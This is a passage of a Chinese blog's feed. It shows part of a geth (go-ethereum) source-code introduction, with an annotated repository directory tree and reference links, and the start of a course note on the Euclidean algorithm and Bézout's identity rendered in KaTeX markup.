class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br></pre></td><td class="code"><pre><span class="line">├── accounts<span class="comment">//账户管理</span></span><br><span class="line">│   ├── abi<span class="comment">//实现 abi</span></span><br><span class="line">│   │   └── bind <span class="comment">//生成 合约的 go 语言封装</span></span><br><span class="line">│   │       └── backends</span><br><span class="line">│   ├── external</span><br><span class="line">│   ├── keystore <span class="comment">//私钥管理，采用 secp256k 加密</span></span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   │       ├── dupes</span><br><span class="line">│   │       ├── keystore</span><br><span class="line">│   │       │   └── foo</span><br><span class="line">│   │       └── v1</span><br><span class="line">│   │           └── cb61d5a9c4896fb9658090b597ef0e7be6f7b67e</span><br><span class="line">│   ├── scwallet</span><br><span class="line">│   └── usbwallet <span class="comment">//硬件钱包，通过 USB 插入</span></span><br><span class="line">│       └── trezor<span class="comment">//硬件钱包的协议</span></span><br><span class="line">├── build<span class="comment">//用于编译和构建的脚本</span></span><br><span class="line">│   ├── bin</span><br><span class="line">│   └── deb</span><br><span class="line">│       └── ethereum</span><br><span class="line">├── cmd<span class="comment">//命令行工具</span></span><br><span class="line">│   ├── abidump</span><br><span class="line">│   ├── abigen</span><br><span class="line">│   ├── bootnode</span><br><span class="line">│   ├── checkpoint-admin</span><br><span class="line">│   ├── clef</span><br><span class="line">│   │   ├── docs</span><br><span class="line">│   │   │   └── qubes</span><br><span class="line">│   │   ├── testdata</span><br><span class="line">│   │   └── tests</span><br><span class="line">│   ├── devp2p</span><br><span class="line">│   │   └── internal</span><br><span class="line">│   │       ├── ethtest</span><br><span class="line">│   │       │   └── testdata</span><br><span class="line">│   │       ├── v4test</span><br><span class="line">│   │       └── v5test</span><br><span class="line">│   ├── ethkey</span><br><span class="line">│   ├── evm</span><br><span class="line">│   │   ├── internal</span><br><span class="line">│   │   │   ├── compiler</span><br><span class="line">│   │   │   └── t8ntool</span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   │       ├── <span class="number">1</span></span><br><span class="line">│   │       ├── <span class="number">10</span></span><br><span class="line">│   │       ├── <span class="number">11</span></span><br><span class="line">│   │       ├── <span class="number">12</span></span><br><span class="line">│   │       ├── <span class="number">13</span></span><br><span class="line">│   │       ├── <span class="number">14</span></span><br><span class="line">│   │       ├── <span class="number">15</span></span><br><span class="line">│   │       ├── <span class="number">16</span></span><br><span class="line">│   │       ├── <span class="number">17</span></span><br><span class="line">│   │       ├── <span class="number">18</span></span><br><span class="line">│   │       ├── <span class="number">19</span></span><br><span class="line">│   │       ├── <span class="number">2</span></span><br><span class="line">│   │       ├── <span class="number">3</span></span><br><span class="line">│   │       ├── <span class="number">4</span></span><br><span class="line">│   │       ├── <span class="number">5</span></span><br><span class="line">│   │       ├── <span class="number">7</span></span><br><span class="line">│   │       ├── <span class="number">8</span></span><br><span class="line">│   │       └── <span class="number">9</span></span><br><span class="line">│   ├── faucet <span class="comment">//轻量级的水龙头（用于取测试币）</span></span><br><span class="line">│   ├── geth</span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   │       └── vcheck</span><br><span class="line">│   │           ├── minisig-sigs</span><br><span class="line">│   │           ├── signify-sigs</span><br><span class="line">│   │           └── sigs</span><br><span class="line">│   ├── p2psim <span class="comment">//模拟 HTTP API 的调用</span></span><br><span class="line">│   ├── puppeth <span class="comment">//构建私链相关</span></span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   ├── rlpdump <span class="comment">//格式化 rlp 编码，更加漂亮的输出</span></span><br><span class="line">│   └── utils <span class="comment">//一些转化、辅助工具</span></span><br><span class="line">├── common<span class="comment">//工具类</span></span><br><span class="line">│   ├── bitutil <span class="comment">//快速的按位操作</span></span><br><span class="line">│   ├── compiler<span class="comment">//封装 Solidity 和 Vyper 的字节码</span></span><br><span class="line">│   ├── fdlimit</span><br><span class="line">│   ├── hexutil <span class="comment">//十六进制编码</span></span><br><span class="line">│   ├── math <span class="comment">//整数的相关数学工具</span></span><br><span class="line">│   ├── mclock <span class="comment">//用于计时的固定点</span></span><br><span class="line">│   └── prque <span class="comment">//优先队列数据结构</span></span><br><span class="line">├── consensus <span class="comment">//共识算法部分</span></span><br><span class="line">│   ├── clique <span class="comment">//POA</span></span><br><span class="line">│   ├── ethash <span class="comment">//POW</span></span><br><span class="line">│   └── misc</span><br><span class="line">├── console<span class="comment">//控制台</span></span><br><span class="line">│   ├── prompt</span><br><span class="line">│   └── testdata</span><br><span class="line">├── contracts<span class="comment">//合约部分</span></span><br><span class="line">│   └── checkpointoracle</span><br><span class="line">│       └── contract</span><br><span class="line">├── core<span class="comment">//核心数据结构，包括状态机、链式结构、虚拟机等</span></span><br><span class="line">│   ├── asm <span class="comment">//解析汇编指令</span></span><br><span class="line">│   ├── bloombits <span class="comment">//布隆过滤器批量处理</span></span><br><span class="line">│   ├── forkid <span class="comment">//EIP-2124 (https://eips.ethereum.org/EIPS/eip-2124) 的实现</span></span><br><span class="line">│   ├── rawdb <span class="comment">//底层数据库访问</span></span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   ├── state <span class="comment">//以太坊状态树的缓存</span></span><br><span class="line">│   │   ├── pruner</span><br><span class="line">│   │   └── snapshot <span class="comment">//动态状态存储</span></span><br><span class="line">│   ├── types <span class="comment">//共识机制中的数据类型</span></span><br><span class="line">│   └── vm <span class="comment">//EVM 的实现</span></span><br><span class="line">│       ├── runtime <span class="comment">//负责字节码的执行</span></span><br><span class="line">│       └── testdata</span><br><span class="line">│           └── precompiles</span><br><span class="line">├── crypto<span class="comment">//哈希算法和密码学</span></span><br><span class="line">│   ├── blake2b</span><br><span class="line">│   ├── bls12381</span><br><span class="line">│   ├── bn256</span><br><span class="line">│   │   ├── cloudflare</span><br><span class="line">│   │   └── google</span><br><span class="line">│   ├── ecies</span><br><span class="line">│   ├── secp256k1</span><br><span class="line">│   │   └── libsecp256k1</span><br><span class="line">│   │       ├── build-aux</span><br><span class="line">│   │       │   └── m4</span><br><span class="line">│   │       ├── contrib</span><br><span class="line">│   │       ├── include</span><br><span class="line">│   │       ├── obj</span><br><span class="line">│   │       ├── sage</span><br><span class="line">│   │       └── src</span><br><span class="line">│   │           ├── asm</span><br><span class="line">│   │           ├── java</span><br><span class="line">│   │           │   └── org</span><br><span class="line">│   │           │       └── bitcoin</span><br><span class="line">│   │           └── modules</span><br><span class="line">│   │               ├── ecdh</span><br><span class="line">│   │               └── recovery</span><br><span class="line">│   └── signify</span><br><span class="line">├── docs<span class="comment">//部分说明文档</span></span><br><span class="line">│   ├── audits</span><br><span class="line">│   └── postmortems</span><br><span class="line">├── eth<span class="comment">//以太坊协议</span></span><br><span class="line">│   ├── catalyst <span class="comment">//RPC 相关</span></span><br><span class="line">│   ├── downloader <span class="comment">//全节点同步</span></span><br><span class="line">│   ├── ethconfig <span class="comment">//以太坊配置文件和轻节点配置文件</span></span><br><span class="line">│   ├── fetcher <span class="comment">//获取同步时的区块头、交易等</span></span><br><span class="line">│   ├── filters <span class="comment">//区块、日志、事件、交易的过滤</span></span><br><span class="line">│   ├── gasprice</span><br><span class="line">│   ├── protocols</span><br><span class="line">│   │   ├── eth</span><br><span class="line">│   │   └── snap</span><br><span class="line">│   └── tracers <span class="comment">//跟踪交易</span></span><br><span class="line">│       ├── internal</span><br><span class="line">│       │   └── tracetest</span><br><span class="line">│       │       └── testdata</span><br><span class="line">│       │           ├── call_tracer</span><br><span class="line">│       │           └── call_tracer_legacy</span><br><span class="line">│       ├── js <span class="comment">//js 写的交易跟踪器</span></span><br><span class="line">│       │   └── internal</span><br><span class="line">│       │       └── tracers</span><br><span class="line">│       └── native <span class="comment">//go 写的交易跟踪器</span></span><br><span class="line">├── ethclient<span class="comment">//RPC 调用的客户端</span></span><br><span class="line">│   └── gethclient</span><br><span class="line">├── ethdb<span class="comment">//数据库</span></span><br><span class="line">│   ├── dbtest</span><br><span class="line">│   ├── leveldb <span class="comment">//leveldb 数据库实现</span></span><br><span class="line">│   └── memorydb <span class="comment">//内存映射的数据库实现</span></span><br><span class="line">├── ethstats<span class="comment">//网络状态显示</span></span><br><span class="line">├── event<span class="comment">//处理实时事件</span></span><br><span class="line">├── graphql<span class="comment">//提供 GraphQL 的借口</span></span><br><span class="line">├── internal<span class="comment">//内部的一些组件</span></span><br><span class="line">│   ├── build</span><br><span class="line">│   ├── cmdtest</span><br><span class="line">│   ├── debug</span><br><span class="line">│   ├── ethapi</span><br><span class="line">│   ├── flags</span><br><span class="line">│   ├── guide</span><br><span class="line">│   ├── jsre</span><br><span class="line">│   │   └── deps</span><br><span class="line">│   ├── syncx</span><br><span class="line">│   ├── testlog</span><br><span class="line">│   ├── utesting</span><br><span class="line">│   └── web3ext</span><br><span class="line">├── les<span class="comment">//轻量级以太坊子协议(LES)</span></span><br><span class="line">│   ├── checkpointoracle</span><br><span class="line">│   ├── downloader</span><br><span class="line">│   ├── fetcher</span><br><span class="line">│   ├── flowcontrol</span><br><span class="line">│   ├── utils</span><br><span class="line">│   └── vflux</span><br><span class="line">│       ├── client</span><br><span class="line">│       └── server</span><br><span class="line">├── light <span class="comment">//向轻量级客户端提供按需检索的功能</span></span><br><span class="line">├── log<span class="comment">//日志</span></span><br><span class="line">├── metrics<span class="comment">//磁盘读写相关</span></span><br><span class="line">│   ├── exp</span><br><span class="line">│   ├── influxdb</span><br><span class="line">│   ├── librato</span><br><span class="line">│   └── prometheus</span><br><span class="line">├── miner<span class="comment">//区块生成和挖矿</span></span><br><span class="line">│   └── stress</span><br><span class="line">│       ├── <span class="number">1559</span> <span class="comment">//EIP1559 的压力测试</span></span><br><span class="line">│       ├── clique <span class="comment">//Clique 的压测</span></span><br><span class="line">│       └── ethash <span class="comment">//ethash 的压测</span></span><br><span class="line">├── mobile <span class="comment">//为移动端设置的简化版 API</span></span><br><span class="line">├── node<span class="comment">//节点协议</span></span><br><span class="line">├── p2p<span class="comment">//P2P 网络协议</span></span><br><span class="line">│   ├── discover <span class="comment">//节点发现协议</span></span><br><span class="line">│   │   ├── v4wire <span class="comment">//v4 版本</span></span><br><span class="line">│   │   └── v5wire <span class="comment">//v5 版本</span></span><br><span class="line">│   │       └── testdata</span><br><span class="line">│   ├── dnsdisc <span class="comment">//EIP1459 提出的发现协议</span></span><br><span class="line">│   ├── enode</span><br><span class="line">│   ├── enr <span class="comment">//EIP778 提出的节点记录</span></span><br><span class="line">│   ├── msgrate <span class="comment">//估计节点吞吐量实现更平衡的传输</span></span><br><span class="line">│   ├── nat <span class="comment">//端口映射</span></span><br><span class="line">│   ├── netutil</span><br><span class="line">│   ├── nodestate</span><br><span class="line">│   ├── rlpx <span class="comment">//RLPx 传输协议</span></span><br><span class="line">│   ├── simulations</span><br><span class="line">│   │   ├── adapters</span><br><span class="line">│   │   ├── examples</span><br><span class="line">│   │   └── pipes</span><br><span class="line">│   └── tracker</span><br><span class="line">├── params<span class="comment">//参数规定</span></span><br><span class="line">├── rlp<span class="comment">//RLP 序列化格式</span></span><br><span class="line">├── rpc<span class="comment">//双向 JSON-RPC 2.0</span></span><br><span class="line">│   └── testdata</span><br><span class="line">├── signer<span class="comment">//数字签名部分</span></span><br><span class="line">│   ├── core</span><br><span class="line">│   │   ├── apitypes</span><br><span class="line">│   │   └── testdata</span><br><span class="line">│   │       └── fuzzing</span><br><span class="line">│   ├── fourbyte</span><br><span class="line">│   ├── rules</span><br><span class="line">│   └── storage</span><br><span class="line">├── swarm<span class="comment">//swarm 群节点</span></span><br><span class="line">├── tests<span class="comment">//测试数据</span></span><br><span class="line">│   ├── fuzzers</span><br><span class="line">│   │   ├── abi</span><br><span class="line">│   │   ├── bitutil</span><br><span class="line">│   │   ├── bls12381</span><br><span class="line">│   │   │   └── testdata</span><br><span class="line">│   │   ├── bn256</span><br><span class="line">│   │   ├── difficulty</span><br><span class="line">│   │   │   └── debug</span><br><span class="line">│   │   ├── keystore</span><br><span class="line">│   │   │   └── corpus</span><br><span class="line">│   │   ├── les</span><br><span class="line">│   │   │   └── debug</span><br><span class="line">│   │   ├── rangeproof</span><br><span class="line">│   │   │   ├── corpus</span><br><span class="line">│   │   │   └── debug</span><br><span class="line">│   │   ├── rlp</span><br><span class="line">│   │   │   └── corpus</span><br><span class="line">│   │   ├── runtime</span><br><span class="line">│   │   ├── secp256k1</span><br><span class="line">│   │   ├── stacktrie</span><br><span class="line">│   │   │   └── debug</span><br><span class="line">│   │   ├── trie</span><br><span class="line">│   │   │   └── corpus</span><br><span class="line">│   │   ├── txfetcher</span><br><span class="line">│   │   │   └── corpus</span><br><span class="line">│   │   └── vflux</span><br><span class="line">│   │       └── debug</span><br><span class="line">│   ├── solidity</span><br><span class="line">│   │   ├── contracts</span><br><span class="line">│   │   ├── migrations</span><br><span class="line">│   │   └── test</span><br><span class="line">│   └── testdata</span><br><span class="line">└── trie<span class="comment">//区块的重要数据结构 MPT</span></span><br></pre></td></tr></table></figure><h2 id="底层源码参考">底层源码参考</h2><ul><li><p><a href="https://www.jianshu.com/u/572268941378">简书博客</a>，最初发表的文章主要是以太坊源码分析，对以太坊的函数做了说明。</p></li><li><p><a href="https://github.com/blockchainGuide/blockchainguide/tree/main/source_code_analysis/ethereum/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90">最近的源码分析文章</a></p></li><li><p><a href="https://github.com/ZtesoftCS/go-ethereum-code-analysis">GitHub - ZtesoftCS/go-ethereum-code-analysis</a> 4 年前的源码分析汇总</p></li><li><p><a href="https://github.com/Billy1900/Ethereum-tutorial">Ethereum-tutorial</a></p></li><li><p>[go-ethereum 源码笔记（概览）](<a href="https://knarfeh.com/2018/03/10/go-ethereum">https://knarfeh.com/2018/03/10/go-ethereum</a> 源码笔记（概览）/) 四年前的博客</p></li><li><p><a href="https://goethereumbook.org/zh/">Introduction · Ethereum Development with Go</a> 跟着用 Go 写简单区块链</p></li><li><p><a href="https://geth.ethereum.org/docs/">Geth Documentation | Go Ethereum</a> geth 使用说明，调试程序，使用自带工具的参考。</p></li><li><p><a href="https://www.evm.codes/">操作码详解和模拟</a>。</p></li><li><p><a href="https://learnblockchain.cn/books/geth/">以太坊技术与实现</a>，作者作了整体性的说明，适合作为大致参考。</p></li><li><p><a href="https://github.com/learnerLj/geth-analyze">笔者的源码分析和理论基础、调试实操</a>。</p></li></ul>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/geth/introduction/</id>
    <link href="https://www.blog-blockchain.xyz/geth/introduction/"/>
    <published>2022-09-28T08:30:33.000Z</published>
    <summary>Geth以太坊客户端源码学习入门指南，包括环境搭建、项目结构介绍、常用术语说明及源码分析参考资源汇总。</summary>
    <title>geth源码学习——介绍</title>
    <updated>2026-02-19T16:18:01.146Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="courses" scheme="https://www.blog-blockchain.xyz/categories/courses/"/>
    <category term="crypto" scheme="https://www.blog-blockchain.xyz/tags/crypto/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/cs-courses/C-language-basis/" title="C语言基础">C语言基础</a></li><li><a href="/cs-courses/modular-inverses/" title="乘法逆元">乘法逆元</a></li><li><a href="/cs-courses/cpp-cryptographic-algorithm-basis/" title="信息安全算法基础">信息安全算法基础</a></li><li><a href="/cs-courses/OS/" title="操作系统基础">操作系统基础</a></li><li><a href="/cs-courses/x86-masm/" title="x86汇编基础">x86汇编基础</a></li><li><a href="/cs-courses/information-theory/" title="信息论与编码">信息论与编码</a></li></ol></blockquote><h2 id="辗转相除法">辗转相除法</h2><p>先温习辗转相除法和裴蜀等式：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:5.76em;vertical-align:-2.63em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.95em;"><span style="top:-1.6em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-1.592em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.916em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.916em" style="width:0.8889em" viewBox="0 0 888.89 916" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V916 H384z M384 0 H504 V916 H384z"/></svg></span></span><span style="top:-3.15em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-4.292em;"><span class="pstrut" style="height:3.15em;"></span><span style="height:0.916em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="0.916em" style="width:0.8889em" viewBox="0 0 888.89 916" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V916 H384z M384 0 H504 V916 H384z"/></svg></span></span><span style="top:-5.2em;"><span class="pstrut" style="height:3.15em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.45em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.13em;"><span style="top:-5.13em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">b</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-0.81em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.63em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>为什么右边都等于 gcd(a,b) 呢，因为</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">ak</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">a</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> 相同时，k 取任何整数都是成立的。</p><p>上面的过程本质上就是两个数 a, b，开始互相迭代</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">{</span></span><span class="mord"><span class="mtable"><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">mod</span></span><span class="mspace"> </span><span class="mord mathnormal">a</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="mord">′</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>而这样迭代的结果必然会出现下面的情况：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:5.76em;vertical-align:-2.63em;"></span><span class="minner"><span class="mopen"><span 